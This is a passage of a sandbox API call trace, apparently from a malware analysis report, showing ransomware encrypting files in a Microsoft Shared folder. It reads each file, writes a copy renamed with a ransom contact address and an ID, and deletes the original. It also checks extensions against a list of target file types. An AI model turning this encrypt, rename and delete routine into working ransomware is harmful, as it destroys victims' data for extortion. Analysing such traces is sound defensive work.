Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0083.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0083.808] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.808] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0083.809] GetLastError () returned 0x0 [0083.809] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0083.855] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0083.857] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.857] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0083.857] SetEndOfFile (hFile=0x214) returned 1 [0083.858] CloseHandle (hObject=0x214) returned 1 [0083.859] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.859] SetEndOfFile (hFile=0x1b8) returned 1 [0083.860] CloseHandle (hObject=0x1b8) returned 1 [0083.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0083.860] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0083.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.861] lstrlenW (lpString=".doc") returned 4 [0083.861] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0083.861] lstrlenW (lpString=".docx") returned 5 [0083.861] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0083.861] lstrlenW (lpString=".pdf") returned 4 [0083.861] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0083.861] lstrlenW (lpString=".xls") returned 4 [0083.861] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0083.861] lstrlenW (lpString=".xlsx") returned 5 [0083.861] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0083.861] lstrlenW (lpString=".ppt") returned 4 [0083.861] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0083.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.861] lstrlenW (lpString=".zip") returned 4 [0083.862] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0083.862] lstrlenW (lpString=".rar") returned 4 [0083.862] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0083.862] lstrlenW (lpString=".bz2") returned 4 [0083.862] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0083.862] lstrlenW (lpString=".7z") returned 3 [0083.862] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0083.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.862] lstrlenW (lpString=".dbf") returned 4 [0083.862] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0083.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.862] lstrlenW (lpString=".1cd") returned 4 [0083.862] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0083.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.862] lstrlenW (lpString=".jpg") returned 4 [0083.862] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0083.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.862] lstrlenW (lpString=".doc") returned 4 [0083.862] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0083.863] lstrlenW (lpString=".docx") returned 5 [0083.863] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0083.863] lstrlenW (lpString=".pdf") returned 4 [0083.863] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0083.863] lstrlenW (lpString=".xls") returned 4 [0083.863] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0083.863] lstrlenW (lpString=".xlsx") returned 5 [0083.863] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0083.863] lstrlenW (lpString=".ppt") returned 4 [0083.863] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0083.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.863] lstrlenW (lpString=".zip") returned 4 [0083.863] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0083.863] lstrlenW (lpString=".rar") returned 4 [0083.863] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0083.863] lstrlenW (lpString=".bz2") returned 4 [0083.863] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0083.864] lstrlenW (lpString=".7z") returned 3 [0083.864] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0083.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.864] lstrlenW (lpString=".dbf") returned 4 [0083.864] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0083.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.864] lstrlenW (lpString=".1cd") returned 4 [0083.864] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0083.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0083.864] lstrlenW (lpString=".jpg") returned 4 [0083.864] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0083.864] lstrcmpiW (lpString1=".GIF", lpString2=".data") returned 1 [0083.864] lstrlenW (lpString="MS.GIF") returned 6 [0083.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0083.865] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1069) returned 1 [0083.865] CloseHandle (hObject=0x1b8) returned 1 [0083.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0083.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0083.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0083.865] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.865] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0083.866] GetLastError () returned 0x0 [0083.866] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x42d, lpOverlapped=0x0) returned 1 [0083.889] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x430, lpOverlapped=0x0) returned 1 [0083.890] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.890] WriteFile (in: hFile=0x214, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0083.890] SetEndOfFile (hFile=0x214) returned 1 [0083.890] CloseHandle (hObject=0x214) returned 1 [0083.891] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.891] SetEndOfFile (hFile=0x1b8) returned 1 [0083.892] CloseHandle (hObject=0x1b8) returned 1 [0083.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0083.893] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0083.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.893] lstrlenW (lpString=".doc") returned 4 [0083.893] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.893] lstrlenW (lpString=".docx") returned 5 [0083.893] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0083.893] lstrlenW (lpString=".pdf") returned 4 [0083.893] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.893] lstrlenW (lpString=".xls") returned 4 [0083.893] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.893] lstrlenW (lpString=".xlsx") returned 5 [0083.893] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0083.893] lstrlenW (lpString=".ppt") returned 4 [0083.893] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.893] lstrlenW (lpString=".zip") returned 4 [0083.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.893] lstrlenW (lpString=".rar") returned 4 [0083.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.894] lstrlenW (lpString=".bz2") returned 4 [0083.894] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.894] lstrlenW (lpString=".7z") returned 3 [0083.894] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.894] lstrlenW (lpString=".dbf") returned 4 [0083.894] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.894] lstrlenW (lpString=".1cd") returned 4 [0083.894] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.894] lstrlenW (lpString=".jpg") returned 4 [0083.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.894] lstrlenW (lpString=".doc") returned 4 [0083.895] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.895] lstrlenW (lpString=".docx") returned 5 [0083.895] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0083.895] lstrlenW (lpString=".pdf") returned 4 [0083.895] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.895] lstrlenW (lpString=".xls") returned 4 [0083.895] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.895] lstrlenW (lpString=".xlsx") returned 5 [0083.895] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0083.895] lstrlenW (lpString=".ppt") returned 4 [0083.895] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.895] lstrlenW (lpString=".zip") returned 4 [0083.895] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.895] lstrlenW (lpString=".rar") returned 4 [0083.895] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.895] lstrlenW (lpString=".bz2") returned 4 [0083.895] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.896] lstrlenW (lpString=".7z") returned 3 [0083.896] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.896] lstrlenW (lpString=".dbf") returned 4 [0083.896] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.896] lstrlenW (lpString=".1cd") returned 4 [0083.896] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0083.896] lstrlenW (lpString=".jpg") returned 4 [0083.896] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.896] lstrcmpiW (lpString1=".JPG", lpString2=".data") returned 1 [0083.896] lstrlenW (lpString="MS.JPG") returned 6 [0083.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0084.174] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1061) returned 1 [0084.174] CloseHandle (hObject=0x214) returned 1 [0084.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0084.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0084.189] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.189] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.189] GetLastError () returned 0x0 [0084.189] ReadFile (in: hFile=0x1ac, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x425, lpOverlapped=0x0) returned 1 [0084.191] WriteFile (in: hFile=0x20c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x430, lpOverlapped=0x0) returned 1 [0084.192] ReadFile (in: hFile=0x1ac, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0084.192] WriteFile (in: hFile=0x20c, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0084.192] SetEndOfFile (hFile=0x20c) returned 1 [0084.193] CloseHandle (hObject=0x20c) returned 1 [0084.199] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.199] SetEndOfFile (hFile=0x1ac) returned 1 [0084.200] CloseHandle (hObject=0x1ac) returned 1 [0084.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0084.200] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0084.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.201] lstrlenW (lpString=".doc") returned 4 [0084.201] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0084.201] lstrlenW (lpString=".docx") returned 5 [0084.201] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0084.201] lstrlenW (lpString=".pdf") returned 4 [0084.201] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0084.201] lstrlenW (lpString=".xls") returned 4 [0084.201] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0084.201] lstrlenW (lpString=".xlsx") returned 5 [0084.201] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0084.201] lstrlenW (lpString=".ppt") returned 4 [0084.201] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0084.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.201] lstrlenW (lpString=".zip") returned 4 [0084.201] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0084.201] lstrlenW (lpString=".rar") returned 4 [0084.201] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0084.201] lstrlenW (lpString=".bz2") returned 4 [0084.201] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0084.201] lstrlenW (lpString=".7z") returned 3 [0084.201] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0084.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.202] lstrlenW (lpString=".dbf") returned 4 [0084.202] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0084.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.202] lstrlenW (lpString=".1cd") returned 4 [0084.202] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0084.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.202] lstrlenW (lpString=".jpg") returned 4 [0084.202] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0084.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.202] lstrlenW (lpString=".doc") returned 4 [0084.202] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0084.202] lstrlenW (lpString=".docx") returned 5 [0084.202] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0084.202] lstrlenW (lpString=".pdf") returned 4 [0084.202] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0084.202] lstrlenW (lpString=".xls") returned 4 [0084.202] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0084.202] lstrlenW (lpString=".xlsx") returned 5 [0084.202] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0084.203] lstrlenW (lpString=".ppt") returned 4 [0084.203] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0084.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.203] lstrlenW (lpString=".zip") returned 4 [0084.203] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0084.203] lstrlenW (lpString=".rar") returned 4 [0084.203] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0084.203] lstrlenW (lpString=".bz2") returned 4 [0084.203] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0084.203] lstrlenW (lpString=".7z") returned 3 [0084.203] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0084.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.203] lstrlenW (lpString=".dbf") returned 4 [0084.203] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0084.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.203] lstrlenW (lpString=".1cd") returned 4 [0084.203] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0084.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0084.203] lstrlenW (lpString=".jpg") returned 4 [0084.204] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0084.204] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.204] lstrlenW (lpString="boxed-join.avi") returned 14 [0084.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0084.742] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=33280) returned 1 [0084.742] CloseHandle (hObject=0x20c) returned 1 [0084.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0084.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0084.743] lstrlenW (lpString=".doc") returned 4 [0084.743] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0084.743] lstrlenW (lpString=".docx") returned 5 [0084.743] 